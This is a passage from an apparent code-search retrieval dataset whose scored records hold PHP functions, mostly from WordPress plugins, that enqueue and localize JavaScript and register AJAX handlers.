'bcm_ajax_event_start_tracking'));\n\n\t\t// Hook Ajax End Tracking\n\t\tadd_action('wp_ajax_end_tracking', array($this, 'bcm_ajax_event_end_tracking'));\n\n\t\t// Hook Ajax Pause Tracking\n\t\tadd_action('wp_ajax_pause_tracking', array($this, 'bcm_ajax_event_pause_tracking'));\n\t}", "title": "" }, { "docid": "f972994e5eb8383b62518b60f439b77a", "score": "0.65258366", "text": "function hb_add_ajax_library() {\n\t$html = '<script type=\"text/javascript\">';\n\t$html .= 'var ajaxurl = \"' . admin_url('admin-ajax.php') . '\"';\n\t$html .= '</script>';\n\techo $html;\n}", "title": "" }, { "docid": "876494b81b040cf30643472be77d98b1", "score": "0.6509955", "text": "function hookRegisterScripts() {\r\n\t\tif ($this->showAnnouncement == false)\r\n\t\t\treturn;\r\n\r\n\t\twp_enqueue_script('jquery');\r\n\t\twp_enqueue_script('thickbox');\r\n\t}", "title": "" }, { "docid": "a26924379495a9c5c4193e3630309053", "score": "0.6465241", "text": "function ajax_load_scripts() {\n\t\tif ( is_admin() ) {\n\t\t\t// load our jquery file that sends the $.post request (ADMIN)\n\t\t\twp_enqueue_script( \"equipeer-admin-ajax-script\", EQUIPEER_URL . 'assets/js/admin-ajax.js', array( 'jquery' ) );\n\t\t\t// --- Initialize infos to pass\n\t\t\t// make the ajaxurl var available to the above script\n\t\t\t$equipeer_admin_options_to_ajax = [\n\t\t\t\t'ajaxurl' => admin_url( 'admin-ajax.php'), // equipeer_admin_ajax.ajaxurl\n\t\t\t\t'adminurl' => get_admin_url(), // equipeer_admin_ajax.adminurl\n\t\t\t];\n\t\t\twp_localize_script( 'equipeer-admin-ajax-script', 'equipeer_admin_ajax', $equipeer_admin_options_to_ajax );\n\t\t}\n\t\t// load our jquery file that sends the $.post request (FRONT)\n\t\twp_enqueue_script( 'equipeer-ajax-script', EQUIPEER_URL . 'assets/js/ajax.js', array( 'jquery' ) );\n\t\t// make the ajaxurl var available to the above script\n\t\t$equipeer_options_to_ajax = [\n\t\t\t 'ajaxurl' => admin_url( 'admin-ajax.php') // equipeer_ajax.ajaxurl\n\t\t\t,'ajaxloader_red' => get_stylesheet_directory_uri() . '/assets/images/ajax-loader-red.gif' // equipeer_ajax.ajaxloader_red\n\t\t\t,'txt_addtoselection' => __( 'Add to my selection', EQUIPEER_ID ) // equipeer_ajax.txt_addtoselection\n\t\t\t,'txt_removefromselection' => __( 'Remove from my selection', EQUIPEER_ID ) // equipeer_ajax.txt_removefromselection\n\t\t\t,'txt_next' => __( 'Next', EQUIPEER_ID ) // equipeer_ajax.txt_next\n\t\t\t,'txt_previous ' => __( 'Previous', EQUIPEER_ID ) // equipeer_ajax.txt_previous\n\t\t];\n\t\twp_localize_script( 'equipeer-ajax-script', 'equipeer_ajax', $equipeer_options_to_ajax );\n\t}", "title": "" }, { "docid": "be264a2ab30551cce44d062c5d1e779a", "score": "0.6440728", "text": "public function actionHookIncludeJS() {\n\t\tfor($i = 0; $i < count($this->JS); ++$i) {\n\t\t\t$styleName = \"SCRIPT_ID_\" . mt_rand();\n\t\t\t\n\t\t//Local scripts will need their address modified\n\t\t//The address for external scripts begin with \"//\"\n\t\t\tif (substr($this->JS[$i], 0, 2) != \"//\") {\n\t\t\t\t$this->JS[$i] = REAL_ADDR . \"app/system/scripts/\" . $this->JS[$i];\n\t\t\t}\n\t\t\t\n\t\t\twp_register_script($styleName, $this->JS[$i], array(), NULL); //NULL removes the ?ver from the URL\n\t\t\twp_enqueue_script($styleName);\n\t\t}\n\t}", "title": "" }, { "docid": "11725aefeaf9b223f3e21aa371fb613b", "score": "0.6435372", "text": "public static function createAjaxScript() {\r\n\t\tif ( ! self::$firstLoad ) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tself::$firstLoad = false;\r\n\r\n\t\t?>\r\n\t\t<script>\r\n\t\tjQuery(document).ready(function($) {\r\n\t\t\t\"use strict\";\r\n\r\n\t\t\t$('.form-table, .customize-control').on( 'click', '.tf-ajax-button .button', function( e ) {\r\n\r\n\t\t\t\t// Only perform one ajax at a time\r\n\t\t\t\tif ( typeof this.doingAjax == 'undefined' ) {\r\n\t\t\t\t\tthis.doingAjax = false;\r\n\t\t\t\t}\r\n\t\t\t\te.preventDefault();\r\n\t\t\t\tif ( this.doingAjax ) {\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t\tthis.doingAjax = true;\r\n\r\n\t\t\t\t// Form the data to send, we send the nonce and the post ID if possible\r\n\t\t\t\tvar data = { nonce: $(this).attr('data-nonce') };\r\n\t\t\t\t<?php\r\n\t\t\t\tglobal $post;\r\n\t\t\t\tif ( ! empty( $post ) ) {\r\n\t\t\t\t\t?>data['id'] = <?php echo esc_attr( $post->ID ) ?>;<?php\r\n\t\t\t\t}\r\n\t\t\t\t?>\r\n\r\n\t\t\t\tif ( $(this).attr('data-data-filter-callback') !== '' && typeof window[ $(this).attr('data-data-filter-callback') ] !== 'undefined' ) {\r\n\t\t\t\t\tdata = window[ $(this).attr('data-data-filter-callback') ]( data );\r\n\t\t\t\t}\r\n\t\t\t\t// Perform the ajax call\r\n\t\t\t\twp.ajax.send( $(this).attr('data-action'), {\r\n\r\n\t\t\t\t\t// Success callback\r\n\t\t\t\t\tsuccess: function( data ) {\r\n\r\n\t\t\t\t\t\tthis.labelTimer = setTimeout(function() {\r\n\t\t\t\t\t\t\t$(this).text( $(this).attr('data-label') );\r\n\t\t\t\t\t\t\tthis.labelTimer = undefined;\r\n\t\t\t\t\t\t}.bind(this), 3000 );\r\n\r\n\t\t\t\t\t\tvar successMessage = $(this).attr('data-success-label');\r\n\t\t\t\t\t\tif (typeof data === 'string' || data instanceof String) {\r\n\t\t\t\t\t\t\tsuccessMessage = data;\r\n\t\t\t\t\t\t} else if (typeof data.message !== 'undefined') {\r\n\t\t\t\t\t\t\tsuccessMessage = data.message;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$(this).text( successMessage );\r\n\r\n\t\t\t\t\t\t// Call the error callback\r\n\t\t\t\t\t\tif ( $(this).attr('data-success-callback') != '' ) {\r\n\t\t\t\t\t\t\tif ( typeof window[ $(this).attr('data-success-callback') ] != 'undefined' ) {\r\n\t\t\t\t\t\t\t\twindow[ $(this).attr('data-success-callback') ]( data );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tthis.doingAjax = false;\r\n\r\n\t\t\t\t\t}.bind(this),\r\n\r\n\t\t\t\t\t// Error callback\r\n\t\t\t\t\terror: function( data ) {\r\n\t\t\t\t\t\tthis.labelTimer = setTimeout(function() {\r\n\t\t\t\t\t\t\t$(this).text( $(this).attr('data-label') );\r\n\t\t\t\t\t\t\tthis.labelTimer = undefined;\r\n\t\t\t\t\t\t}.bind(this), 3000 );\r\n\r\n\t\t\t\t\t\tvar errorMessage = $(this).attr('data-error-label');\r\n\t\t\t\t\t\tif (typeof data === 'string' || data instanceof String) {\r\n\t\t\t\t\t\t\terrorMessage = data;\r\n\t\t\t\t\t\t} else if (typeof data.message !== 'undefined') {\r\n\t\t\t\t\t\t\terrorMessage = data.message;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$(this).text( errorMessage );\r\n\r\n\t\t\t\t\t\t// Call the error callback\r\n\t\t\t\t\t\tif ( $(this).attr('data-error-callback') != '' ) {\r\n\t\t\t\t\t\t\tif ( typeof window[ $(this).attr('data-error-callback') ] != 'undefined' ) {\r\n\t\t\t\t\t\t\t\twindow[ $(this).attr('data-error-callback') ]( data );\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tthis.doingAjax = false;\r\n\r\n\t\t\t\t\t}.bind(this),\r\n\r\n\t\t\t\t\t// Pass the data\r\n\t\t\t\t\tdata: data\r\n\r\n\t\t\t\t});\r\n\r\n\t\t\t\t// Clear the label timer\r\n\t\t\t\tif ( typeof this.labelTimer != 'undefined' ) {\r\n\t\t\t\t\tclearTimeout( this.labelTimer );\r\n\t\t\t\t\tthis.labelTimer = undefined;\r\n\t\t\t\t}\r\n\t\t\t\t$(this).text( $(this).attr('data-wait-label') );\r\n\r\n\t\t\t\treturn false;\r\n\t\t\t} );\r\n\t\t});\r\n\t\t</script>\r\n\t\t<?php\r\n\t}", "title": "" }, { "docid": "4bd3bac96ce44a233841a7566a3e2aff", "score": "0.64180493", "text": "protected function _initJavascript() {\r\n }", "title": "" }, { "docid": "6c1daab4884d913e561f66a5b4537fe7", "score": "0.63916564", "text": "protected function configureAjax(){\n //$this->setEvent(self::$type);\n $this->addArgument($this->getOptionsLikeJson());\n }", "title": "" }, { "docid": "a7d4cf6135eceaf99dd99972cb1be4e7", "score": "0.6383178", "text": "public function setJavascriptToInclude()\n {\n $jsFolder = api_get_path(WEB_LIBRARY_JS_PATH);\n $this->template->addResource($jsFolder.'tinymce/tinymce.min.js', 'js');\n }", "title": "" }, { "docid": "00521f4eb12b25dbb7e40d638b0e7cf3", "score": "0.63598716", "text": "public static function ajaxSetup()\n {\n $jquery = self::getInstance();\n $jquery->setEvent(YsJQueryConstant::AJAX_SETUP_EVENT);\n self::$type = $jquery->getEvent();\n return $jquery;\n }", "title": "" }, { "docid": "d24d304db94032cda3b247842a960a9e", "score": "0.63434315", "text": "function AjaxForAllFrontend() {\n\t\t$this->__construct();\n\t}", "title": "" }, { "docid": "ccdcc2751da75f66d8e4d5bd736fd50d", "score": "0.6341217", "text": "public static function init()\n {\n add_action( 'init', array( __CLASS__, 'define_ajax' ), 0 );\n add_action( 'template_redirect', array( __CLASS__, 'do_cpo_ajax' ), 0 );\n self::add_ajax_events();\n }", "title": "" }, { "docid": "abf2520132cff92528639eaeeb07b513", "score": "0.6340162", "text": "private function addScripts() {\n\t\t$scriptFile = t3lib_extMgm::siteRelPath('wildside_extbase') . 'Resources/Public/Javascript/com/jquery/plugins/jquery.accordion.js';\n\t\t$disabled = ($this->arguments['disabled'] === TRUE ? 'true' : 'false');\n\t\t$autoHeight = ($this->arguments['autoHeight'] === TRUE ? 'true' : 'false');\n\t\t$clearStyle = ($this->arguments['clearStyle'] === TRUE ? 'true' : 'false');\n\t\t$collapsible = ($this->arguments['collapsible'] === TRUE ? 'true' : 'false');\n\t\t$fillSpace = ($this->arguments['fillSpace'] === TRUE ? 'true' : 'false');\n\t\t$init = <<< INITSCRIPT\njQuery(document).ready(function() {\n\tvar options = {\n\t\tdisabled : {$disabled},\n\t\tanimated : '{$this->arguments['animated']}',\n\t\tautoHeight : {$autoHeight},\n\t\tclearStyle : {$clearStyle},\n\t\tcollapsible : {$collapsible},\n\t\tfillSpace : {$fillSpace},\n\t\theader : '> :first-child',\n\t\tactive : ''\n\t};\n\tjQuery('.wildside-extbase-accordion').accordion(options);\n});\nINITSCRIPT;\n\t\t$this->includeFile($scriptFile);\n\t\t$this->includeHeader($init, 'js');\n\t}", "title": "" }, { "docid": "bb4c03f2d0addde73f374a53b47fbcaa", "score": "0.6329747", "text": "protected function _process_ajax() {}", "title": "" }, { "docid": "33da84ca0c5e8d98e31da63a7240e5b0", "score": "0.6314032", "text": "public function phoenix_ajax() {\n\t}", "title": "" }, { "docid": "c1f23ae62e6e0698e7dd176fdba79c0d", "score": "0.6313126", "text": "public function addEnableJavascript(): void\n {\n $this->addOption('--enable-javascript');\n }", "title": "" }, { "docid": "3ffe9a38a7866f3b04c5d6d9058b00d6", "score": "0.63063943", "text": "function dashboard_js_adding(){\t\t\t\n\t\t\t\t\t\t\n\t\t\t\twp_enqueue_script('jquery');\n\t\t\t\twp_register_script('pie_register_dashbaord_js', plugins_url('', __FILE__).'/js/dashboard.js',array('jquery'));\t\t\n\t\t\t\twp_enqueue_script('pie_register_dashbaord_js');\n\t\t\t\t\n\t\t\t\t$nonce = wp_create_nonce('pie_register_extending');\n\t\t\t\twp_localize_script( 'pie_register_dashbaord_js', 'PieRegister', array( \n\t\t\t\t\t'ajaxurl' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t\t'nonce' => $nonce,\n\t\t\t\t\t'plugins_url' => plugins_url('',__FILE__)\n\t\t\t\t));\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\twp_register_script('popup_js', plugins_url('', __FILE__).'/js/profile_edit.js');\n\t\t\t\twp_enqueue_script('popup_js');\t\t\t\t\n\t\t\t\twp_register_style( 'profile_edit_popup_css', plugins_url('', __FILE__).'/css/profile_edit.css' );\n\t\t\t\twp_enqueue_style('profile_edit_popup_css');\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "611d6ed278dd6ccf4d0b9da33dad0346", "score": "0.6304467", "text": "function ppoajax_enqueue_scripts() {\n if(!is_admin()){\n wp_enqueue_script('ajax.js', get_bloginfo('template_directory') . \"/js/ajax.js\", array('jquery'), false, true);\n }\n}", "title": "" }, { "docid": "8d8d8425fe538a7c2f81ae53a77dd3a1", "score": "0.63007665", "text": "function edd_pagseguro_custom_scripts() {\n\n wp_enqueue_script('edd_pagseguro_custom', plugin_dir_url( __FILE__ ) . 'edd-pagseguro-custom.js', array('jquery'), null, true);\n # Localize admin-ajax url in main.js\n wp_localize_script( 'edd_pagseguro_custom', 'edd_custom_scripts', array( 'ajaxurl' => admin_url('admin-ajax.php')) );\n \n }", "title": "" }, { "docid": "3ba3a558e0f43221a5643685e65c7a7e", "score": "0.6298325", "text": "protected function _Load_AJAX() {\r\n $dir = untrailingslashit( plugin_dir_path(__FILE__ ) );\r\n // Recurssively load the directory\r\n $this->_Recusive_Load_Dir($dir.'/ajax');\r\n // Fire the shortcode init action\r\n do_action('vcff_settings_ajax_init',$this);\r\n }", "title": "" }, { "docid": "3c7637b80e27e67d52b057159a8a902a", "score": "0.62769526", "text": "public function ajax_load_scripts() {\n wp_enqueue_script( 'scriptAjax', plugins_url('script/scriptAjax.js', __FILE__), array( 'jquery' ) ); \n wp_localize_script('scriptAjax', 'ajaxurl', admin_url( 'admin-ajax.php' ));\n }", "title": "" }, { "docid": "2dc349ba5c7f0f353592ca067db57f05", "score": "0.6274013", "text": "protected function _Load_AJAX() {\r\n $dir = untrailingslashit( plugin_dir_path(__FILE__ ) );\r\n // Recurssively load the directory\r\n $this->_Recusive_Load_Dir($dir.'/ajax');\r\n // Fire the shortcode init action\r\n do_action('vcff_meta_ajax_init',$this);\r\n }", "title": "" }, { "docid": "bc3402bee233880714bc7bf7c62fbfc9", "score": "0.6271668", "text": "public function js() {\n\n\t\t$scripts = $this->settings['add_js'];\n\n\t\tif ( is_array( $scripts ) && count( $scripts ) > 0 ) {\n\t\t\tforeach ( $scripts as $name => $script ) {\n\t\t\t\twp_enqueue_script( $name, SITE_URL . '/js/' . $script, [ 'jquery' ], null, true );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ebda3ff92fe26f6512d0b818947525f0", "score": "0.62674135", "text": "public function add_scripts() {\n\n\t\t\t\tFusion_Dynamic_JS::enqueue_script(\n\t\t\t\t\t'fusion-toggles',\n\t\t\t\t\tFusionBuilder::$js_folder_url . '/general/fusion-toggles.js',\n\t\t\t\t\tFusionBuilder::$js_folder_path . '/general/fusion-toggles.js',\n\t\t\t\t\t[ 'bootstrap-collapse', 'fusion-equal-heights' ],\n\t\t\t\t\t'1',\n\t\t\t\t\ttrue\n\t\t\t\t);\n\t\t\t}", "title": "" }, { "docid": "a178f314cc6c73834af3bd80fa98ff0e", "score": "0.6258314", "text": "public function initJs()\n\t{\n\t\t$jsFiles = array(\n\t\t\t'jquery.ui.custom',\n\t\t\t'unicorn',\n\t\t\t'highcharts',\n\t\t\t'highcharts-more',\n\t\t\t'exporting',\n\t\t\t'yii-money'\n\t\t);\n\t\tforeach($jsFiles as $jsFile){\n\t\t\tYii::app()->clientScript->registerScriptFile(Yii::app()->request->baseUrl.'/js/'.$jsFile.'.js');\n\t\t}\n\t}", "title": "" }, { "docid": "25d83729be5c6269867897afc96c4a4a", "score": "0.6256312", "text": "public function registerScripts()\n\t{\n\t\twp_enqueue_style('cnc-donation-main', $this->plugin_url . 'assets/css/main.css');\n\t\twp_register_script('cnc-donation-main', $this->plugin_url . 'assets/js/main.js', array('jquery'), '1', true);\n\t\t// Prepare script for use AJAX\n\t\twp_localize_script( 'cnc-donation-main', 'cnc_donation_obj', array(\n\t\t\t'ajax_url' => admin_url( 'admin-ajax.php' ),\n\t\t 'nonce' => wp_create_nonce('cncdntn_nonce'),\n\t ) );\n\t}", "title": "" }, { "docid": "a5636413ac29320044d94233643e2644", "score": "0.6253179", "text": "protected function registerClientEvents()\n {\n if (!empty($this->clientEvents)) {\n $id = $this->options['id'];\n $js = [];\n foreach ($this->clientEvents as $event => $handler) {\n $js[] = \"jQuery('#$id').on('$event', $handler);\";\n }\n $this->getView()->registerJs(implode(\"\\n\", $js));\n }\n }", "title": "" }, { "docid": "6d3ea6be963c92356c1f5f3e4934947d", "score": "0.6231269", "text": "function addAdminJs()\n{\n $page = $_GET['page'];\n if ($page !== 'withdraw-req') {\n return;\n }\n // Enqueue javascript\n wp_enqueue_script('beyonic-admin', plugin_dir_url(__FILE__) . 'lib/beyonic-admin.js', array('jquery'));\n\n // The wp_localize_script allows us to output the ajax_url path for our script to use.\n wp_localize_script('beyonic-admin', 'beyonicObj',\n array('ajaxUrl' => admin_url('admin-ajax.php'), 'action' => 'adminAjax', 'nonce' => wp_create_nonce('beyonic-admin-nonce'))\n );\n\n}", "title": "" }, { "docid": "3c4abb3d29002ced4e840985eff1527d", "score": "0.61912686", "text": "public function _initJS() {\r\n $this->view->headScript()->offsetSetFile(100, 'https://code.jquery.com/jquery-2.2.0.min.js');\r\n $this->view->headScript()->offsetSetFile(200, $this->configuration->publicFolder . '/js/jquery-ui.min.js');\r\n $this->view->headScript()->offsetSetFile(300, $this->configuration->publicFolder . '/js/jquery.styly.min.js');\r\n\r\n $this->view->headScript()->offsetSetFile(960, $this->configuration->publicFolder . '/js/blockUI.js');\r\n $this->view->headScript()->offsetSetFile(970, $this->configuration->publicFolder . '/js/basic.js');\r\n $this->view->headScript()->offsetSetFile(971, $this->configuration->publicFolder . '/js/sabios.js');\r\n $this->view->headScript()->offsetSetFile(990, $this->configuration->publicFolder . '/js/plugins/multiSearch.js');\r\n $this->view->headScript()->offsetSetFile(995, $this->configuration->publicFolder . '/js/plugins/ajaxfileupload.js');\r\n $this->view->headScript()->offsetSetFile(307, $this->configuration->publicFolder . '/js/plugins/jquery.dataTables.js');\r\n $this->view->headScript()->offsetSetFile(996, $this->configuration->publicFolder . '/js/plugins/jquery.cookie.js');\r\n $this->view->headScript()->offsetSetFile(991, $this->configuration->publicFolder . '/js/jquery-ui-timepicker-addon.js');\r\n $this->view->headScript()->offsetSetFile(998, $this->configuration->publicFolder . '/js/plugins/jqFancyTransitions.1.8.min.js');\r\n $this->view->headScript()->offsetSetFile(107, $this->configuration->publicFolder . '/js/plugins/jquery.validate.js');\r\n $this->view->headScript()->offsetSetFile(108, $this->configuration->publicFolder . '/js/plugins/jquery.mustache.js');\r\n $this->view->headScript()->offsetSetFile(109, $this->configuration->publicFolder . '/js/plugins/mustache.js');\r\n $this->view->headScript()->offsetSetFile(111, $this->configuration->publicFolder . '/js/plugins/jquery.base64.js');\r\n $this->view->headScript()->offsetSetFile(112, $this->configuration->publicFolder . '/js/validation.js');\r\n $this->view->headScript()->offsetSetFile(113, $this->configuration->publicFolder . '/js/select2.min.js');\r\n $this->view->headScript()->offsetSetFile(114, $this->configuration->publicFolder . '/js/colorpicker.js');\r\n $this->view->headScript()->offsetSetFile(101, $this->configuration->publicFolder . '/js/cropper.js');\r\n }", "title": "" }, { "docid": "71cb32864b54904ee03238e641670d47", "score": "0.6183544", "text": "private function ajax_includes() {\n\t\t$this->ajax = $this->load_class( '/includes/class-wc-memberships-ajax.php', 'WC_Memberships_AJAX' );\n\t}", "title": "" }, { "docid": "79aa567a5c348ddd9972361987a793fd", "score": "0.61832136", "text": "private function ajax_includes() {\n\n\t\t$this->ajax = $this->load_class( '/includes/class-wc-google-analytics-pro-ajax.php', 'WC_Google_Analytics_Pro_AJAX' );\n\t}", "title": "" }, { "docid": "73a29eb9296ec758ec6b55eb72a0f532", "score": "0.6181488", "text": "function add_script() {\r\n\t\t// CSS file.\r\n wp_enqueue_style('dashicons');\r\n\t\twp_enqueue_style( 'bootstrap-css', get_stylesheet_directory_uri() . '/assets/css/bootstrap.min.css', array(),\r\n\t\t\t'4.0.0' );\r\n\t\twp_enqueue_style( 'style-css', get_stylesheet_directory_uri() . '/style.css', array(),\r\n\t\t\t'1.0.0' );\r\n\r\n\t\t// JS file.\r\n\t\twp_enqueue_script('jquery');\r\n\t\twp_enqueue_script( 'popper-js', get_template_directory_uri() . '/assets/js/popper.min.js', array(), '1.12.5',\r\n\t\t\ttrue );\r\n\t\twp_enqueue_script( 'bootstrap-js', get_template_directory_uri() . '/assets/js/bootstrap.js', array(), '4.0\r\n\t\t.0', true );\r\n\t\twp_enqueue_script( 'theme-js', get_template_directory_uri() . '/assets/js/theme.js', array(), '1.0.0', true );\r\n\r\n wp_register_script( 'inline-js', '', [], '', true );\r\n wp_enqueue_script( 'inline-js');\r\n\r\n\t\t// Code Highlight.\r\n\t\t$code_highlight = get_theme_mod( 'maizi_code_highlight', 'yes' );\r\n\t\tif ( $code_highlight === 'yes' && (is_page() || is_singular()) ) {\r\n\t\t\twp_enqueue_style( 'highlight-css', get_stylesheet_directory_uri() . '/assets/css/github-gist.css', array(),\r\n\t\t\t\t'9.9.0' );\r\n\t\t\twp_enqueue_script( 'highlight-js', get_template_directory_uri() . '/assets/js/highlight.min.js', array(),\r\n\t\t\t\t'9.9.0', true );\r\n wp_add_inline_script( 'inline-js', 'jQuery(document).ready(function(){jQuery(\"pre,code\").each(function(i,block){hljs.highlightBlock(block);});});' );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "b6c3922dc4d1255765e175433095f3bd", "score": "0.6181015", "text": "public static function onAddScripts(){\n\t\t\tself::addStyle(\"edit_layers\",\"edit_layers\");\n\t\t\t\n\t\t\t//add google font\n\t\t\t//$urlGoogleFont = \"http://fonts.googleapis.com/css?family=PT+Sans+Narrow:400,700\";\t\t\t\t\t\n\t\t\t//self::addStyleAbsoluteUrl($urlGoogleFont,\"google-font-pt-sans-narrow\");\n\t\t\t\n\t\t\tself::addScriptCommon(\"edit_layers\",\"unite_layers\");\n\t\t\tself::addScript(\"rev_admin\");\n\t\t\t\n\t\t\t//include all media upload scripts\n\t\t\tself::addMediaUploadIncludes();\n\t\t\t\n\t\t\t//add rs css:\n\t\t\tself::addStyle(\"settings\",\"rs-plugin-settings\",\"rs-plugin/css\");\n\t\t\tself::addStyle(\"captions\",\"rs-plugin-captions\",\"rs-plugin/css\");\n\t\t}", "title": "" }, { "docid": "9eb8857ed2de71b8a823fa4902537544", "score": "0.6171526", "text": "function add_ordin_form_widget_scripts() {\n if( ! apply_filters( 'add_ordin_form_widget_scripts', true, $this->id_base ) )\n return;\n ?>\n <script>\n jQuery(document).ready(function( $ ) {\n\n });\n </script>\n <?php\n }", "title": "" }, { "docid": "74f5e50235937f3b25e00daa99be9281", "score": "0.6166953", "text": "public function registerClientScript()\n {\n $view = $this->getView();\n\n if ($this->gallery) {\n GalleryAsset::register($view);\n }\n\n FileUploadUIAsset::register($view);\n\n $options = Json::encode($this->clientOptions);\n $id = $this->options['id'];\n\n $js[] = \";jQuery('#$id').fileupload($options);\";\n if (!empty($this->clientEvents)) {\n foreach ($this->clientEvents as $event => $handler) {\n $js[] = \"jQuery('#$id').on('$event', $handler);\";\n }\n }\n $view->registerJs(implode(\"\\n\", $js));\n }", "title": "" }, { "docid": "b8cd91d701743b2c6f55f1bb77f39988", "score": "0.61397934", "text": "function enqueue_scripts() {\n\t\t\twp_enqueue_script( 'sib-admin-js' );\n\t\t\twp_enqueue_script( 'sib-bootstrap-js' );\n\t\t\twp_localize_script(\n\t\t\t\t'sib-admin-js', 'ajax_sib_object',\n\t\t\t\tarray(\n\t\t\t\t\t'ajax_url' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t)\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "b8cd91d701743b2c6f55f1bb77f39988", "score": "0.61397934", "text": "function enqueue_scripts() {\n\t\t\twp_enqueue_script( 'sib-admin-js' );\n\t\t\twp_enqueue_script( 'sib-bootstrap-js' );\n\t\t\twp_localize_script(\n\t\t\t\t'sib-admin-js', 'ajax_sib_object',\n\t\t\t\tarray(\n\t\t\t\t\t'ajax_url' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t)\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "9789fa1965d7ca30ec116a652bc4b61a", "score": "0.6139382", "text": "protected function appendScripts(){ \n $this->appendScriptsURL();\n }", "title": "" }, { "docid": "c2807393f9b63198aaaf8d0061620de0", "score": "0.61336064", "text": "public function addScriptsAndStyles()\n {\n $assets = $this->getURL() . 'assets' . DS;\n // ==============================================================\n // Scripts\n // ==============================================================\n wp_enqueue_script('jquery');\n wp_enqueue_script(\n 'lolita-widget-subscribe-form',\n $assets . 'js' . DS . 'lolita_widget_subscribe_form.js',\n array('jquery'),\n false,\n true\n );\n\n // ==============================================================\n // Localize\n // ==============================================================\n wp_localize_script(\n 'lolita-widget-subscribe-form',\n 'lolita_widget_subscribe_form',\n array(\n 'ajax_url' => admin_url('admin-ajax.php'),\n 'security' => LF_NONCE,\n )\n );\n }", "title": "" }, { "docid": "1884859c1003950b65ee1c4360d26886", "score": "0.61258507", "text": "public function eventLoadCheckoutJs()\r\n {\r\n $this->load->model('setting/setting');\r\n if ($this->config->get('payment_qiwi_popup')) {\r\n $this->document->addScript('https://oplata.qiwi.com/popup/v1.js');\r\n }\r\n }", "title": "" }, { "docid": "220b2c0d8d6593c868bc86b80b7bb99e", "score": "0.61245203", "text": "public function ajax();", "title": "" }, { "docid": "44a9b6a7d8cc1fa4d1561ffbc7d94889", "score": "0.6118401", "text": "function add_script() {\n wp_enqueue_script($this->js_handle, plugins_url('/js/wp-irc.js', __FILE__), array('jquery'), $this->version, TRUE);\n\n // JavaScript messages\n $msg = array(\n 'refreshcountfailed' => __('Unable to fetch user count. Kindly try after sometime', 'wp-irc')\n );\n $translation_array = array( 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'refreshNonce' => wp_create_nonce($this->refresh_nonce), 'msg' => $msg );\n wp_localize_script( $this->js_handle, $this->js_variable, $translation_array );\n }", "title": "" }, { "docid": "bbe85f9f73d326f6f173b50d41426c10", "score": "0.611696", "text": "function add_js2_scripts() {\n\twp_enqueue_script( 'covoiturage_search', get_template_directory_uri().'/js/covoiturage_search.js', array('jquery'), '1.0', true );\n\n\t// pass Ajax Url to script.js\n\twp_localize_script('covoiturage_search', 'ajaxurl', admin_url( 'admin-ajax.php' ) );\n}", "title": "" }, { "docid": "8ebe02993535922aec1d91b2a1a6a7c0", "score": "0.61134344", "text": "public function registerClientScript()\n {\n $id = $this->options['id'];\n $this->clientOptions['push'] = $this->enablePushState;\n $this->clientOptions['replace'] = $this->enableReplaceState;\n $this->clientOptions['timeout'] = $this->timeout;\n $this->clientOptions['scrollTo'] = $this->scrollTo;\n if (!isset($this->clientOptions['container'])) {\n $this->clientOptions['container'] = \"#$id\";\n }\n $options = CJavaScript::encode($this->clientOptions);\n $js = '';\n if ($this->linkSelector !== false) {\n $linkSelector = CJavaScript::encode($this->linkSelector !== null ? $this->linkSelector : '#' . $id . ' a');\n $js .= \"jQuery(document).pjax($linkSelector, $options);\";\n }\n if ($this->formSelector !== false) {\n $formSelector = CJavaScript::encode($this->formSelector !== null ? $this->formSelector : '#' . $id . ' form[data-pjax]');\n $submitEvent = CJavaScript::encode($this->submitEvent);\n $js .= \"\\njQuery(document).on($submitEvent, $formSelector, function (event) {jQuery.pjax.submit(event, $options);});\";\n\t\t}\n\n\t\t$vendor = Yii::getPathOfAlias('npm.yii2-pjax');\n\t\t$assetsDir = Yii::app()->assetManager->publish($vendor);\n\n\t\t$cs = Yii::app()->clientScript;\n\t\t$cs->registerScriptFile($assetsDir . '/jquery.pjax.js');\n\n if ($js !== '') {\n $cs->registerScript(md5($js), $js, CClientScript::POS_READY);\n }\n\t}", "title": "" }, { "docid": "f67dbda4a09edacff4f8bdb2f569a9f3", "score": "0.6107614", "text": "function js_includes()\n {\n wp_enqueue_script('postbox');\n\n // Sort table attributes\n $handle = 'sortabble';\n $src = plugins_url() . '/plugin-auditor/assets/js/sorttable.js';\n $deps = array();\n $ver = '2.0.0';\n $in_footer = true;\n\n // Enqueue JavaScript to sort tables\n wp_enqueue_script($handle, $src, $deps, $ver, $in_footer);\n\n // Sort table attributes\n $handle = 'jquery-base64';\n $src = plugins_url() . '/plugin-auditor/assets/js/jquery.base64.js';\n $deps = array();\n $ver = '1.0.0';\n $in_footer = true;\n\n // Enqueue JavaScript to sort tables\n wp_enqueue_script($handle, $src, $deps, $ver, $in_footer);\n\n // Sort table attributes\n $handle = 'tableExport';\n $src = plugins_url() . '/plugin-auditor/assets/js/tableExport.js';\n $deps = array();\n $ver = '1.0.0';\n $in_footer = true;\n\n // Enqueue JavaScript to sort tables\n wp_enqueue_script($handle, $src, $deps, $ver, $in_footer);\n\n // Parameters to the custom JS\n $handle = 'pa-custom-js';\n $src = plugins_url() . '/plugin-auditor/assets/js/pa.js';\n $deps = array('jquery');\n $ver = null;\n $in_footer = true;\n\n wp_register_script($handle, $src, $deps, $ver, $in_footer);\n\n $translation_array = array(\n 'Saved' => __('Saved', 'plugin_auditor'),\n 'Not saved' => __('Not saved', 'plugin_auditor'),\n 'url' => admin_url('admin-ajax.php'),\n 'pluginUrl' => plugins_url()\n );\n\n wp_localize_script('pa-custom-js', 'myAjax', $translation_array);\n\n 